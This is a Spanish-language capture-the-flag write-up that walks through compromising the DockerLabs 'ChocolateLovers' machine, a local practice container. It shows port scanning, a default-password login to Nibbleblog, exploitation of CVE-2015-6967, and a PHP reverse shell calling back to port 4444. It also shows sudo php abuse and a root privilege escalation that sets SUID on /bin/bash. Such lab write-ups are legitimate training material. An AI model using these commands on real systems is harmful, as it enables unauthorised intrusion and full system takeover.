miguel@home:~$

ChocolateLovers - DockerLabs

OS Dificultad Creator
Linux Fácil ElPinguinoDeMario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP)

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.

nmap -p 80-sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al acceder a la página web, observamos un panel de Apache que está configurado por defecto.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

No encontramos nada relevante por esta vía, así que decidimos cambiar el enfoque.

image

En el código fuente de la página encontramos una ruta que parece interesante, decidimos seguirla para investigar.

image

Nos redirige a otra ruta llamada admin.php.

image

Al probar contraseñas por defecto, utilizamos admin/admin y conseguimos acceder.

image

Explorando la página en la sección de settings, encontramos la versión del servicio que está en ejecución.

image

Vamos a ver si existe algún exploit disponible para esta versión.

image

Existen varios exploits para la versión que tenemos.

image

CVE-2015-6967

Usaremos este repositorio de github para explotarlo CVE-2015-6967.

image

El exploit funciona a través de un plugin llamado my_image.

image

Parece que necesitamos instalar el plugin, ya que el exploit lo utiliza, pero no lo instala automáticamente.

image

Vamos a ejecutar el exploit. Antes de hacerlo, generamos nuestra reverse shell.

Intrusión en la Máquina

Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:

Reverseshell de Pentest Monkey

Una vez que tengamos la reverse shell lista, descargamos el repositorio y ejecutamos el exploit.

git clone https://github.com/dix0nym/CVE-2015-6967.git

image

Ejecutamos el siguiente comando para lanzar el exploit:

python3 exploit.py --url http://172.17.0.2/nibbleblog/ --username admin --password admin --payload ../shell.php

image

Investigando un poco más, descubrimos que en este repositorio están los plugins: http://172.17.0.2/nibbleblog/content/private/plugins/

image

Pasos para Cargar la Reverseshell

Nos ponemos a escuchar en nuestro caso el puerto 4444 con netcat:

nc -lvnp 4444

Luego accedemos a la ruta donde subimos la reverse shell, haciendo clic en el archivo image.php:

image

Con esto, ya tendríamos acceso a la máquina.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Intrusion

Ahora que estamos dentro de la máquina, si ejecutamos el comando sudo -l, vemos que podemos ejecutar php como el usuario chocolate. Si no sabemos cómo aprovechar esto, podemos recurrir a GTFOBins.

image

Para obtener una shell como el usuario chocolate, ejecutamos el siguiente comando:

www-data@5a6d69b701d7:/$ CMD="/bin/sh"
www-data@5a6d69b701d7:/$ sudo -u chocolate php -r "system('$CMD');"

Si ejecutamos whoami, podemos ver que ya somos el usuario chocolate.

image

Tuve problemas al ejecutar una shell directamente, así que decidí generar otra reverse shell y repetir los pasos para obtener una TTY interactiva.

sudo -u chocolate /usr/bin/php -r '$sock=fsockopen("172.17.0.1", 4444);exec("/bin/sh -i <&3 >&3 2>&3");'

image

Por el otor lado estamos escuchando.

nc -lvnp 4444

image

Una vez reconectados a la máquina con la nueva reverse shell, repetimos los pasos para configurar una shell interactiva (TTY).

Accedor Root

Investigamos un poco más dentro del sistema y observamos que hay un proceso ejecutado por root que corre un script llamado script.php.

image

El gran descubrimiento aquí es que tenemos permisos para modificar este archivo script.php. Como podemos editarlo, decidimos insertar una línea que nos dará una shell como usuario root.

Modificamos el contenido de script.php para que ejecute una shell elevada:

image

Como podemos cambiarlo a nuestro antojo vamos a poner lo siguiente.

<?php
exec("chmod u+s /bin/bash");
?>

image

Con esta línea, al ejecutarse el script por el proceso root, el binario bash se actualizará para tener el bit SUID (Set User ID). Esto significa que cualquier usuario que ejecute este binario obtendrá permisos de root.

Tras esperar a que el script se ejecute automáticamente, simplemente lanzamos una shell de la siguiente manera:

bash -p

Ahora, verificamos si efectivamente hemos obtenido privilegios de root ejecutando whoami.

image

¡Y listo! Ahora somos root en la máquina.